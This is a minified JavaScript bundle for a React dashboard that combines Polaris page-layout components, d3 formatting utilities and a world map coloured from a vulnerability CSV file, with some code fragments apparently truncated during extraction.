Lf,Of,Ff="Polaris-Page",If="Polaris-Page--fullWidth",jf="Polaris-Page--narrowWidth",Rf="Polaris-Page__Content",Bf="Polaris-Page--divider",Df="Polaris-Page-Header",Hf="Polaris-Page-Header--titleHidden",zf="Polaris-Page-Header__TitleWrapper",Uf="Polaris-Page-Header__Navigation",Wf="Polaris-Page-Header--hasActionMenu",Vf="Polaris-Page-Header--mobileView",qf="Polaris-Page-Header__BreadcrumbWrapper",Zf="Polaris-Page-Header__PaginationWrapper",Kf="Polaris-Page-Header__AdditionalNavigationWrapper",Gf="Polaris-Page-Header--hasNavigation",$f="Polaris-Page-Header__PrimaryActionWrapper",Yf="Polaris-Page-Header__Row",Qf="Polaris-Page-Header__RightAlign",Xf="Polaris-Page-Header__LeftAlign",Jf="Polaris-Page-Header--noBreadcrumbs",ep="Polaris-Page-Header__AdditionalMetaData",tp="Polaris-Page-Header__Actions",np="Polaris-Page-Header--longTitle",rp="Polaris-Page-Header--mediumTitle",ap="Polaris-Page-Header--isSingleRow",op=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Lf||(Lf=r.createElement("path",{d:"M17 9H5.414l3.293-3.293a.999.999 0 1 0-1.414-1.414l-5 5a.999.999 0 0 0 0 1.414l5 5a.997.997 0 0 0 1.414 0 .999.999 0 0 0 0-1.414L5.414 11H17a1 1 0 1 0 0-2z"})))},ip="Polaris-Breadcrumbs__Breadcrumb",lp="Polaris-Breadcrumbs__Icon";function sp(e){var t=e.breadcrumbs,n=t[t.length-1];if(null==n)return null;var a=n.content,o=r.createElement(r.Fragment,null,r.createElement("span",{className:lp},r.createElement(zt,{source:op})),r.createElement(Dt,null,a)),i="url"in n?r.createElement(sn,{key:a,url:n.url,className:ip,onMouseUp:Pn,"aria-label":n.accessibilityLabel},o):r.createElement("button",{key:a,className:ip,onClick:n.onAction,onMouseUp:Pn,type:"button","aria-label":n.accessibilityLabel},o);return r.createElement("nav",{role:"navigation"},i)}var up,cp,dp=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),Of||(Of=r.createElement("path",{d:"M12 16a.997.997 0 0 1-.707-.293l-5-5a.999.999 0 0 1 0-1.414l5-5a.999.999 0 1 1 1.414 1.414L8.414 10l4.293 4.293A.999.999 0 0 1 12 16z"})))},fp=function(e){return r.createElement("svg",Object.assign({viewBox:"0 0 20 20"},e),up||(up=r.createElement("path",{d:"M8 16a.999.999 0 0 1-.707-1.707L11.586 10 7.293 5.707a.999.999 0 1 1 1.414-1.414l5 5a.999.999 0 0 1 0 1.414l-5 5A.997.997 0 0 1 8 16z"})))};!function(e){e.Input="INPUT",e.Textarea="TEXTAREA",e.Select="SELECT",e.ContentEditable="contenteditable"}(cp||(cp={}));var pp="Polaris-Tooltip-TooltipOverlay",hp="Polaris-Tooltip-TooltipOverlay--measuring",mp="Polaris-Tooltip-TooltipOverlay--positionedAbove",vp="Polaris-Tooltip-TooltipOverlay__Content";function gp(e){var t=e.active,n=e.activator,a=e.preferredPosition,o=void 0===a?"below":a,i=e.preventInteraction,l=e.id,s=e.children,u=e.accessibilityLabel,c=jt();return t?r.createElement(Or,{active:t,activator:n,preferredPosition:o,preventInteraction:i,render:function(e){var t=e.measuring,n=e.desiredHeight,a=e.positioning,o=Xe(pp,t&&hp,"above"===a&&mp),i=t?void 0:{minHeight:n};return r.createElement("div",Object.assign({className:o},N.props),r.createElement("div",{id:l,role:"tooltip",className:vp,style:i,"aria-label":u?c.translate("Polaris.TooltipOverlay.accessibilityLabel",{label:u}):void 0},s))}}):null}function bp(e){var t=e.children,n=e.content,a=e.dismissOnMouseOut,o=e.active,i=e.preferredPosition,l=void 0===i?"below":i,s=e.activatorWrapper,u=void 0===s?"span":s,c=e.accessibilityLabel,d=u,f=rt(Boolean(o)),p=f.value,h=f.setTrue,m=f.setFalse,v=ne((0,r.useState)(null),2),g=v[0],b=v[1],y=qe("TooltipContent"),w=(0,r.useRef)(null),x=(0,r.useRef)(!1);(0,r.useEffect)((function(){var e=(w.current?Nn(w.current):null)||w.current;e&&(e.tabIndex=0,e.setAttribute("aria-describedby",y),e.setAttribute("data-polaris-tooltip-activator","true"))}),[y,t]);var E=(0,r.useCallback)((function(e){e.keyCode===Hn.Escape&&m()}),[m]),S=g?r.createElement(Rn,{idPrefix:"tooltip"},r.createElement(gp,{id:y,preferredPosition:l,activator:g,active:p,accessibilityLabel:c,onClose:yp,preventInteraction:a},n)):null;return r.createElement(d,{onFocus:h,onBlur:m,onMouseLeave:function(){x.current=!1,m()},onMouseOver:function(){!x.current&&(x.current=!0,h())},onClick:wp,ref:function(e){var t=w;if(null==e)return t.current=null,void b(null);e.firstElementChild instanceof HTMLElement&&b(e.firstElementChild),t.current=e},onKeyUp:E},t,S)}function yp(){}function wp(e){e.stopPropagation()}function xp(e){var t=e.hasNext,n=e.hasPrevious,a=e.nextURL,o=e.previousURL,i=e.onNext,l=e.onPrevious,s=e.nextTooltip,u=e.previousTooltip,c=e.nextKeys,d=e.previousKeys,f=e.accessibilityLabel,p=e.accessibilityLabels,h=e.label,m=jt(),v=(0,r.createRef)(),g=f||m.translate("Polaris.Pagination.pagination"),b=(null===p||void 0===p?void 0:p.previous)||m.translate("Polaris.Pagination.previous"),y=(null===p||void 0===p?void 0:p.next)||m.translate("Polaris.Pagination.next"),w=r.createElement(Ma,{outline:!0,icon:dp,accessibilityLabel:b,url:o,onClick:l,disabled:!n,id:"previousURL"}),x=u&&n?r.createElement(bp,{activatorWrapper:"span",content:u},w):w,E=r.createElement(Ma,{outline:!0,icon:fp,accessibilityLabel:y,url:a,onClick:i,disabled:!t,id:"nextURL"}),S=s&&t?r.createElement(bp,{activatorWrapper:"span",content:s},E):E,k=l||kp,_=d&&(o||l)&&n&&d.map((function(e){return r.createElement(cr,{key:e,keyCode:e,handler:Sp(o?Ep("previousURL",v):k)})})),C=i||kp,P=c&&(a||i)&&t&&c.map((function(e){return r.createElement(cr,{key:e,keyCode:e,handler:Sp(a?Ep("nextURL",v):C)})})),N=t&&n?r.createElement(Sa,null,h):r.createElement(Sa,{variation:"subdued"},h),T=h?r.createElement("div",{"aria-live":"polite"},N):null;return r.createElement("nav",{"aria-label":g,ref:v},_,P,r.createElement(tl,{segmented:!h},x,T,S))}function Ep(e,t){return function(){if(null!=t.current){var n=t.current.querySelector("#".concat(e));n&&n.click()}}}function Sp(e){return function(){(function(){if(null==document||null==document.activeElement)return!1;var e=document.activeElement.tagName;return e===cp.Input||e===cp.Textarea||e===cp.Select||document.activeElement.hasAttribute(cp.ContentEditable)})()||e()}}function kp(){}var _p="Polaris-Header-Title",Cp="Polaris-Header-Title__SubTitle",Pp="Polaris-Header-Title__SubtitleCompact",Np="Polaris-Header-Title--hasThumbnail",Tp="Polaris-Header-Title__TitleAndSubtitleWrapper",Ap="Polaris-Header-Title__TitleWithMetadataWrapper",Mp="Polaris-Header-Title__TitleMetadata";function Lp(e){var t=e.title,n=e.subtitle,a=e.titleMetadata,o=e.thumbnail,i=e.compactTitle;var l=t?r.createElement("h1",{className:_p},t):null,s=a?r.createElement("div",{className:Mp},a):null,u=a?r.createElement("div",{className:Ap},l,s):l,c=n?r.createElement("div",{className:Xe(Cp,i&&Pp)},r.createElement("p",null,n)):null,d=o?r.createElement("div",null,o):null,f=o?Np:void 0;return r.createElement("div",{className:f},d,r.createElement("div",{className:Tp},u,c))}var Op={ActionMenu:"Polaris-ActionMenu"},Fp="Polaris-ActionMenu-RollupActions__RollupActivator";function Ip(e){var t=e.accessibilityLabel,n=e.items,a=void 0===n?[]:n,o=e.sections,i=void 0===o?[]:o,l=jt(),s=rt(!1),u=s.value,c=s.toggle;if(0===a.length&&0===i.length)return null;var d=r.createElement("div",{className:Fp},r.createElement(Ma,{outline:!0,icon:_o,accessibilityLabel:t||l.translate("Polaris.ActionMenu.RollupActions.rollupButton"),onClick:c}));return r.createElement(zr,{active:u,activator:d,preferredAlignment:"right",onClose:c,hideOnPrint:!0},r.createElement(Pa,{items:a,sections:i,onActionAnyItem:c}))}var jp="Polaris-ActionMenu-Actions__ActionsLayout",Rp="Polaris-ActionMenu-MenuGroup__Details",Bp="Polaris-ActionMenu-SecondaryAction",Dp=["children","onAction","getOffsetWidth"];function Hp(e){var t=e.children,n=e.onAction,a=e.getOffsetWidth,o=u(e,Dp),i=(0,r.useRef)(null);return(0,r.useEffect)((function(){var e;a&&i.current&&a(null===(e=i.current)||void 0===e?void 0:e.offsetWidth)}),[a]),r.createElement("span",{className:Bp,ref:i},r.createElement(Ma,Object.assign({onClick:n},o),t))}function zp(e){var t=e.accessibilityLabel,n=e.active,a=e.actions,o=e.details,i=e.title,l=e.icon,s=e.onClose,u=e.onOpen,c=e.getOffsetWidth,d=(0,r.useCallback)((function(){s(i)}),[s,i]),f=(0,r.useCallback)((function(){u(i)}),[u,i]),p=(0,r.useCallback)((function(e){c&&c(e)}),[c]),h=r.createElement(Hp,{disclosure:!0,icon:l,accessibilityLabel:t,onClick:f,getOffsetWidth:p},i);return r.createElement(zr,{active:Boolean(n),activator:h,preferredAlignment:"left",onClose:d,hideOnPrint:!0},r.createElement(Pa,{items:a,onActionAnyItem:d}),o&&r.createElement("div",{className:Rp},o))}var Up=["content","onAction"],Wp=["title","actions"];function Vp(e){var t=e.actions,n=void 0===t?[]:t,a=e.groups,o=void 0===a?[]:a,i=jt(),l=(0,r.useRef)(null),s=(0,r.useRef)(0),c=(0,r.useRef)(0),d=(0,r.useRef)(0),f=(0,r.useRef)(0),p=(0,r.useRef)([]),h=ne((0,r.useState)(void 0),2),m=h[0],v=h[1],g=ne((0,r.useState)({showable:[],rolledUp:[]}),2),b=g[0],y=g[1],w={title:i.translate("Polaris.ActionMenu.Actions.moreActions"),actions:[]},x=te(o).pop(),S=te(p.current).pop()||0,k=(0,r.useCallback)((function(e){p.current=[].concat(te(p.current),[e])}),[]),_=(0,r.useCallback)((function(e){return v(m?void 0:e)}),[m]),C=(0,r.useCallback)((function(){return v(void 0)}),[]),P=(0,r.useCallback)((function(){var e=[].concat(te(n),te(o));o.length>0&&(e=te(e).slice(0,e.length-1));var t=e.slice(0,b.showable.length),r=e.slice(b.showable.length,e.length);y({showable:t,rolledUp:r})}),[n,o,b.showable.length]),N=(0,r.useCallback)((function(){if(0!==p.current.length&&0!==c.current){var e=[].concat(te(n),te(o));if(1!==e.length){var t=c.current,r=[],a=[];e.forEach((function(e,n){if(p.current[n]+s.current+8+S<=t)t-=p.current[n]+16,r=[].concat(te(r),[e]);else{if(t=0,e===x)return;a=[].concat(te(a),[e])}})),y({showable:r,rolledUp:a}),f.current+=1,d.current=e.length}else y({showable:e,rolledUp:[]})}}),[n,o,x,S]),T=(0,r.useMemo)((function(){return E()((function(){l.current&&(c.current=l.current.offsetWidth,f.current=0,N())}),50,{leading:!1,trailing:!0})}),[N]);(0,r.useEffect)((function(){l.current&&(c.current=l.current.offsetWidth,f.current>=2&&[].concat(te(n),te(o)).length===d.current?P():N())}),[n,o,N,P]);var A=n.map((function(e){if(b.showable.length>0||b.rolledUp.includes(e))return null;var t=e.content,n=e.onAction,a=u(e,Up);return r.createElement(Hp,Object.assign({key:t,onClick:n},a,{getOffsetWidth:k}),t)})),M=b.showable.length>0?b.showable.map((function(e){return e.content&&r.createElement(Hp,Object.assign({key:e.content},e,{getOffsetWidth:k}),e.content)})):null,L=[].concat(te(o),[w]).filter((function(e){return 0===o.length?e:e===x||!b.rolledUp.some((function(t){return qp(t)&&t.title===e.title}))})).map((function(e){var t=e.title,n=e.actions,a=u(e,Wp),i=e===w,l=e===x,s=b.rolledUp.reduce((function(e,t){return e.push.apply(e,te(qp(t)?t.actions:[t])),e}),[]);return i||l?!i&&l?r.createElement(zp,Object.assign({key:t,title:t,active:t===m,actions:[].concat(te(s),te(n))},a,{onOpen:_,onClose:C,getOffsetWidth:k})):i&&0===o.length&&s.length?r.createElement(zp,Object.assign({key:t,title:t,active:t===m,actions:s},a,{onOpen:_,onClose:C,getOffsetWidth:k})):void 0:r.createElement(zp,Object.assign({key:t,title:t,active:t===m,actions:n},a,{onOpen:_,onClose:C,getOffsetWidth:k}))})),O=r.createElement(tl,{spacing:"extraTight"},M,A,L);return r.createElement("div",{className:jp,ref:l},O,r.createElement(Te,{event:"resize",handler:T}))}function qp(e){return"title"in e}function Zp(e){var t=e.actions,n=void 0===t?[]:t,a=e.groups,o=void 0===a?[]:a,i=e.rollup,l=e.rollupActionsLabel;if(0===n.length&&0===o.length)return null;var s=Xe(Op.ActionMenu,i&&Op.rollup),u=o.map((function(e){return function(e){var t=e.title,n=e.actions;return{title:t,items:n}}(e)}));return r.createElement("div",{className:s},i?r.createElement(Ip,{accessibilityLabel:l,items:n,sections:u}):r.createElement(Vp,{actions:n,groups:o}))}function Kp(e){var t=e.title,n=e.subtitle,a=e.titleMetadata,o=e.additionalMetadata,i=e.thumbnail,l=e.titleHidden,s=void 0!==l&&l,u=e.primaryAction,c=e.pagination,d=e.additionalNavigation,f=e.breadcrumbs,p=void 0===f?[]:f,h=e.secondaryActions,m=void 0===h?[]:h,v=e.actionGroups,g=void 0===v?[]:v,b=e.compactTitle,y=void 0!==b&&b,w=jt(),x=Lo().isNavigationCollapsed,E=!u&&!c&&!m.length&&!g.length,S=p.length>0?r.createElement("div",{className:qf},r.createElement(sp,{breadcrumbs:p})):null,k=c&&!x?r.createElement("div",{className:Zf},r.createElement(xp,c)):null,_=d?r.createElement("div",{className:Kf},d):null,C=S||k||_?r.createElement("div",{className:Uf},S,_,k):null,P=r.createElement("div",{className:zf},r.createElement(Lp,{title:t,subtitle:n,titleMetadata:a,thumbnail:i,compactTitle:y})),N=u?r.createElement(Gp,{primaryAction:u}):null,T=m.length>0||function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];return 0!==e.length&&e.some((function(e){return e.actions.length>0}))}(g)?r.createElement(Zp,{actions:m,groups:g,rollup:x,rollupActionsLabel:t?w.translate("Polaris.Page.Header.rollupActionsLabel",{title:t}):void 0}):null,A=o?r.createElement("div",{className:ep},r.createElement(Sa,{variation:"subdued"},o)):null,M=Xe(Df,E&&ap,s&&Hf,C&&Gf,T&&Wf,x&&Vf,!p.length&&Jf,t&&t.length<34&&rp,t&&t.length>34&&np),L=function(e){var t=e.actionMenuMarkup,n=e.additionalMetadataMarkup,a=e.additionalNavigationMarkup,o=e.breadcrumbMarkup,i=e.isNavigationCollapsed,l=e.pageTitleMarkup,s=e.paginationMarkup,u=e.primaryActionMarkup,c=e.title,d={mobileCompact:{slots:{slot1:null,slot2:l,slot3:t,slot4:u,slot5:n,slot6:a},condition:i&&null==o&&null!=c&&c.length<=8},mobileDefault:{slots:{slot1:o,slot2:l,slot3:t,slot4:u,slot5:n,slot6:a},condition:i},desktopCompact:{slots:{slot1:o,slot2:l,slot3:t,slot4:u,slot5:n,slot6:a},condition:!i&&null==s&&null==t&&null!=c&&c.length<=20},desktopDefault:{slots:{slot1:o,slot2:l,slot3:r.createElement(r.Fragment,null,t,u),slot4:s,slot5:n,slot6:a},condition:!i}};return(Object.values(d).find((function(e){return e.condition}))||d.desktopDefault).slots}({actionMenuMarkup:T,additionalMetadataMarkup:A,additionalNavigationMarkup:_,breadcrumbMarkup:S,isNavigationCollapsed:x,pageTitleMarkup:P,paginationMarkup:k,primaryActionMarkup:N,title:t}),O=L.slot1,F=L.slot2,I=L.slot3,j=L.slot4,R=L.slot5,B=L.slot6;return r.createElement("div",{className:M},r.createElement(qn,{condition:[O,F,I,j].some($p)},r.createElement("div",{className:Yf},O,F,r.createElement(qn,{condition:[I,j].some($p)},r.createElement("div",{className:Qf},r.createElement(Vn,{condition:[I,j].every($p),wrapper:function(e){return r.createElement("div",{className:tp},e)}},I,j))))),r.createElement(qn,{condition:[R,B].some($p)},r.createElement("div",{className:Yf},r.createElement("div",{className:Xf},R),r.createElement(qn,{condition:null!=B},r.createElement("div",{className:Qf},B)))))}function Gp(e){var t,n=e.primaryAction,a=Lo().isNavigationCollapsed,o=n;if(t=n,!(0,r.isValidElement)(t)&&void 0!==t){var i=void 0===n.primary||n.primary;o=Qi(function(e,t){var n=t.content,r=t.accessibilityLabel,a=t.icon;if(null==a)return l(l({},t),{},{icon:void 0});e?(r=r||n,n=void 0):a=void 0;return l(l({},t),{},{content:n,accessibilityLabel:r,icon:a})}(a,n),{primary:i})}return r.createElement("div",{className:$f},o)}function $p(e){return null!=e}var Yp=["children","fullWidth","narrowWidth","divider"];function Qp(e){var t=e.children,n=e.fullWidth,a=e.narrowWidth,o=e.divider,i=u(e,Yp),l=Xe(Ff,n&&If,a&&jf),s=null!=i.title&&""!==i.title||null!=i.primaryAction||null!=i.secondaryActions&&i.secondaryActions.length>0||null!=i.actionGroups&&i.actionGroups.length>0||null!=i.breadcrumbs&&i.breadcrumbs.length>0,c=Xe(Rf,o&&s&&Bf),d=s?r.createElement(Kp,i):null;return r.createElement("div",{className:l},d,r.createElement("div",{className:c},t))}var Xp="Polaris-Layout",Jp="Polaris-Layout__Section",eh="Polaris-Layout__Section--secondary",th="Polaris-Layout__Section--fullWidth",nh="Polaris-Layout__Section--oneHalf",rh="Polaris-Layout__Section--oneThird",ah="Polaris-Layout__AnnotatedSection",oh="Polaris-Layout__AnnotationWrapper",ih="Polaris-Layout__AnnotationContent",lh="Polaris-Layout__Annotation",sh="Polaris-Layout__AnnotationDescription";function uh(e){var t=e.children,n=e.secondary,a=e.fullWidth,o=e.oneHalf,i=e.oneThird,l=Xe(Jp,n&&eh,a&&th,o&&nh,i&&rh);return r.createElement("div",{className:l},t)}var ch=function(e){var t=e.sectioned,n=e.children,a=t?r.createElement(uh,null,n):n;return r.createElement("div",{className:Xp},a)};ch.AnnotatedSection=function(e){var t=e.children,n=e.title,a=e.description,o=e.id,i="string"===typeof a?r.createElement("p",null,a):a;return r.createElement("div",{className:ah},r.createElement("div",{className:oh},r.createElement("div",{className:lh},r.createElement(Zr,null,r.createElement($r,{id:o},n),i&&r.createElement("div",{className:sh},i))),r.createElement("div",{className:ih},t)))},ch.Section=uh;var dh=n.p+"static/media/Cyberattack-cuate.a120d44c86141a29d90b578255e3ea3a.svg",fh={},ph={};function hh(e){return new Function("d","return {"+e.map((function(e,t){return JSON.stringify(e)+": d["+t+'] || ""'})).join(",")+"}")}function mh(e){var t=Object.create(null),n=[];return e.forEach((function(e){for(var r in e)r in t||n.push(t[r]=r)})),n}function vh(e,t){var n=e+"",r=n.length;return r9999?"+"+vh(t,6):vh(t,4))+"-"+vh(e.getUTCMonth()+1,2)+"-"+vh(e.getUTCDate(),2)+(o?"T"+vh(n,2)+":"+vh(r,2)+":"+vh(a,2)+"."+vh(o,3)+"Z":a?"T"+vh(n,2)+":"+vh(r,2)+":"+vh(a,2)+"Z":r||n?"T"+vh(n,2)+":"+vh(r,2)+"Z":"")}function bh(e){var t=new RegExp('["'+e+"\n\r]"),n=e.charCodeAt(0);function r(e,t){var r,a=[],o=e.length,i=0,l=0,s=o<=0,u=!1;function c(){if(s)return ph;if(u)return u=!1,fh;var t,r,a=i;if(34===e.charCodeAt(a)){for(;i++=o?s=!0:10===(r=e.charCodeAt(i++))?u=!0:13===r&&(u=!0,10===e.charCodeAt(i)&&++i),e.slice(a+1,t-1).replace(/""/g,'"')}for(;i=0?(o>=Ph?10:o>=Nh?5:o>=Th?2:1)*Math.pow(10,a):-Math.pow(10,-a)/(o>=Ph?10:o>=Nh?5:o>=Th?2:1)}function Mh(e,t){return et?1:e>=t?0:NaN}function Lh(e){var t=e,n=e;function r(e,t,r,a){for(null==r&&(r=0),null==a&&(a=e.length);r>>1;n(e[o],t)<0?r=o+1:a=o}return r}return 1===e.length&&(t=function(t,n){return e(t)-n},n=function(e){return function(t,n){return Mh(e(t),n)}}(e)),{left:r,center:function(e,n,a,o){null==a&&(a=0),null==o&&(o=e.length);var i=r(e,n,a,o-1);return i>a&&t(e[i-1],n)>-t(e[i],n)?i-1:i},right:function(e,t,r,a){for(null==r&&(r=0),null==a&&(a=e.length);r>>1;n(e[o],t)>0?a=o:r=o+1}return r}}}var Oh=Lh(Mh),Fh=Oh.right,Ih=(Oh.left,Lh((function(e){return null===e?NaN:+e})).center,Fh),jh=n(2168),Rh=n(4922);function Bh(e,t){var n,r=t?t.length:0,a=e?Math.min(r,e.length):0,o=new Array(a),i=new Array(r);for(n=0;nt&&(n=e,e=t,t=n),function(n){return Math.max(e,Math.min(t,n))}}(i[0],i[e-1])),r=e>2?Xh:Qh,a=o=null,d}function d(t){return null==t||isNaN(t=+t)?n:(a||(a=r(i.map(e),l,s)))(e(u(t)))}return d.invert=function(n){return u(t((o||(o=r(l,i.map(e),Hh.Z)))(n)))},d.domain=function(e){return arguments.length?(i=Array.from(e,Kh),c()):i.slice()},d.range=function(e){return arguments.length?(l=Array.from(e),c()):l.slice()},d.rangeRound=function(e){return l=Array.from(e),s=Zh,c()},d.clamp=function(e){return arguments.length?(u=!!e||$h,c()):u!==$h},d.interpolate=function(e){return arguments.length?(s=e,c()):s},d.unknown=function(e){return arguments.length?(n=e,d):n},function(n,r){return e=n,t=r,c()}}function tm(){return em()($h,$h)}function nm(e,t){switch(arguments.length){case 0:break;case 1:this.range(e);break;default:this.range(t).domain(e)}return this}var rm,am=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function om(e){if(!(t=am.exec(e)))throw new Error("invalid format: "+e);var t;return new im({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}function im(e){this.fill=void 0===e.fill?" ":e.fill+"",this.align=void 0===e.align?">":e.align+"",this.sign=void 0===e.sign?"-":e.sign+"",this.symbol=void 0===e.symbol?"":e.symbol+"",this.zero=!!e.zero,this.width=void 0===e.width?void 0:+e.width,this.comma=!!e.comma,this.precision=void 0===e.precision?void 0:+e.precision,this.trim=!!e.trim,this.type=void 0===e.type?"":e.type+""}function lm(e,t){if((n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"))<0)return null;var n,r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function sm(e){return(e=lm(Math.abs(e)))?e[1]:NaN}function um(e,t){var n=lm(e,t);if(!n)return e+"";var r=n[0],a=n[1];return a<0?"0."+new Array(-a).join("0")+r:r.length>a+1?r.slice(0,a+1)+"."+r.slice(a+1):r+new Array(a-r.length+2).join("0")}om.prototype=im.prototype,im.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(void 0===this.width?"":Math.max(1,0|this.width))+(this.comma?",":"")+(void 0===this.precision?"":"."+Math.max(0,0|this.precision))+(this.trim?"~":"")+this.type};var cm={"%":function(e,t){return(100*e).toFixed(t)},b:function(e){return Math.round(e).toString(2)},c:function(e){return e+""},d:function(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)},e:function(e,t){return e.toExponential(t)},f:function(e,t){return e.toFixed(t)},g:function(e,t){return e.toPrecision(t)},o:function(e){return Math.round(e).toString(8)},p:function(e,t){return um(100*e,t)},r:um,s:function(e,t){var n=lm(e,t);if(!n)return e+"";var r=n[0],a=n[1],o=a-(rm=3*Math.max(-8,Math.min(8,Math.floor(a/3))))+1,i=r.length;return o===i?r:o>i?r+new Array(o-i+1).join("0"):o>0?r.slice(0,o)+"."+r.slice(o):"0."+new Array(1-o).join("0")+lm(e,Math.max(0,t+o-1))[0]},X:function(e){return Math.round(e).toString(16).toUpperCase()},x:function(e){return Math.round(e).toString(16)}};function dm(e){return e}var fm,pm,hm,mm=Array.prototype.map,vm=["y","z","a","f","p","n","\xb5","m","","k","M","G","T","P","E","Z","Y"];function gm(e){var t,n,r=void 0===e.grouping||void 0===e.thousands?dm:(t=mm.call(e.grouping,Number),n=e.thousands+"",function(e,r){for(var a=e.length,o=[],i=0,l=t[0],s=0;a>0&&l>0&&(s+l+1>r&&(l=Math.max(1,r-s)),o.push(e.substring(a-=l,a+l)),!((s+=l+1)>r));)l=t[i=(i+1)%t.length];return o.reverse().join(n)}),a=void 0===e.currency?"":e.currency[0]+"",o=void 0===e.currency?"":e.currency[1]+"",i=void 0===e.decimal?".":e.decimal+"",l=void 0===e.numerals?dm:function(e){return function(t){return t.replace(/[0-9]/g,(function(t){return e[+t]}))}}(mm.call(e.numerals,String)),s=void 0===e.percent?"%":e.percent+"",u=void 0===e.minus?"\u2212":e.minus+"",c=void 0===e.nan?"NaN":e.nan+"";function d(e){var t=(e=om(e)).fill,n=e.align,d=e.sign,f=e.symbol,p=e.zero,h=e.width,m=e.comma,v=e.precision,g=e.trim,b=e.type;"n"===b?(m=!0,b="g"):cm[b]||(void 0===v&&(v=12),g=!0,b="g"),(p||"0"===t&&"="===n)&&(p=!0,t="0",n="=");var y="$"===f?a:"#"===f&&/[boxX]/.test(b)?"0"+b.toLowerCase():"",w="$"===f?o:/[%p]/.test(b)?s:"",x=cm[b],E=/[defgprs%]/.test(b);function S(e){var a,o,s,f=y,S=w;if("c"===b)S=x(e)+S,e="";else{var k=(e=+e)<0||1/e<0;if(e=isNaN(e)?c:x(Math.abs(e),v),g&&(e=function(e){e:for(var t,n=e.length,r=1,a=-1;r0&&(a=0)}return a>0?e.slice(0,a)+e.slice(t+1):e}(e)),k&&0===+e&&"+"!==d&&(k=!1),f=(k?"("===d?d:u:"-"===d||"("===d?"":d)+f,S=("s"===b?vm[8+rm/3]:"")+S+(k&&"("===d?")":""),E)for(a=-1,o=e.length;++a(s=e.charCodeAt(a))||s>57){S=(46===s?i+e.slice(a+1):e.slice(a))+S,e=e.slice(0,a);break}}m&&!p&&(e=r(e,1/0));var _=f.length+e.length+S.length,C=_>1)+f+e+S+C.slice(_);break;default:e=C+f+e+S}return l(e)}return v=void 0===v?6:/[gprs]/.test(b)?Math.max(1,Math.min(21,v)):Math.max(0,Math.min(20,v)),S.toString=function(){return e+""},S}return{format:d,formatPrefix:function(e,t){var n=d(((e=om(e)).type="f",e)),r=3*Math.max(-8,Math.min(8,Math.floor(sm(t)/3))),a=Math.pow(10,-r),o=vm[8+r/3];return function(e){return n(a*e)+o}}}}function bm(e,t,n,r){var a,o=function(e,t,n){var r=Math.abs(t-e)/Math.max(0,n),a=Math.pow(10,Math.floor(Math.log(r)/Math.LN10)),o=r/a;return o>=Ph?a*=10:o>=Nh?a*=5:o>=Th&&(a*=2),t0)return[e];if((r=t0){var s=Math.round(e/i),u=Math.round(t/i);for(s*it&&--u,o=new Array(a=u-s+1);++lt&&--d,o=new Array(a=d-c+1);++l0;){if((a=Ah(s,u,n))===r)return o[i]=s,o[l]=u,t(o);if(a>0)s=Math.floor(s/a)*a,u=Math.ceil(u/a)*a;else{if(!(a<0))break;s=Math.ceil(s*a)/a,u=Math.floor(u*a)/a}r=a}return e},e}fm=gm({thousands:",",grouping:[3],currency:["$",""]}),pm=fm.format,hm=fm.formatPrefix;var wm=n(9025),xm=function e(){var t=tm();return t.copy=function(){return Jh(t,e())},nm.apply(t,arguments),ym(t)}().domain([.29,.68]).range(["#ffedea","#008d6a"]),Em=function(){var e=ne((0,r.useState)([]),2),t=e[0],n=e[1];return(0,r.useEffect)((function(){Ch("/v4/vulnerability.csv").then((function(e){n(e)}))}),[]),(0,oc.jsxs)(wm.ComposableMap,{projectionConfig:{rotate:[-10,0,0],scale:147},children:[(0,oc.jsx)(wm.Sphere,{stroke:"#00000",strokeWidth:.5}),(0,oc.jsx)(wm.Graticule,{stroke:"#00000",strokeWidth:.5}),t.length>0&&(0,oc.jsx)(wm.Geographies,{geography:"https://raw.githubusercontent.com/zcreativelabs/react-simple-maps/master/topojson-maps/world-110m.json",children:function(e){return e.geographies.map((function(e){var n=t.find((function(t){return t.ISO3===e.properties.ISO_A3}));return(0,oc.jsx)(wm.Geography,{geography:e,fill:n?xm(n[2017]):"#F5F4F6"},e.rsmKey)}))}})]})},Sm=function(e){var t,n=e.client,a=e.isloading,i=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{selectedResources:[],allResourcesSelected:!1,resourceIDResolver:Qc},n=t.selectedResources,a=void 0===n?[]:n,o=t.allResourcesSelected,i=void 0!==o&&o,l=t.resourceIDResolver,s=void 0===l?Qc:l,u=ne((0,r.useState)(a),2),c=u[0],d=u[1],f=ne((0,r.useState)(i),2),p=f[0],h=f[1],m=(0,r.useCallback)((function(t,n,r){switch(t===Yc.All?h(n):p&&h(!1),t){case Yc.Single:d((function(e){return n?[].concat(te(e),[r]):e.filter((function(e){return e!==r}))}));break;case Yc.All:case Yc.Page:d(n?e.map(s):[]);break;case Yc.Multi:if(!r)break;d((function(t){for(var a=[],o=r[0];o<=r[1];o++){var i=s(e[o]);(n&&!t.includes(i)||!n&&t.includes(i))&&a.push(i)}return n?[].concat(te(t),a):t.filter((function(e){return!a.includes(e)}))}))}}),[p,e,s]);return{selectedResources:c,allResourcesSelected:p,handleSelectionChange:m}}(n),l=i.selectedResources,s=i.allResourcesSelected,u=i.handleSelectionChange,c=(0,oc.jsx)(Jc,{title:"No clients yet",description:"Add a client to get started",withIllustration:!0}),d=n.map((function(e,t){var 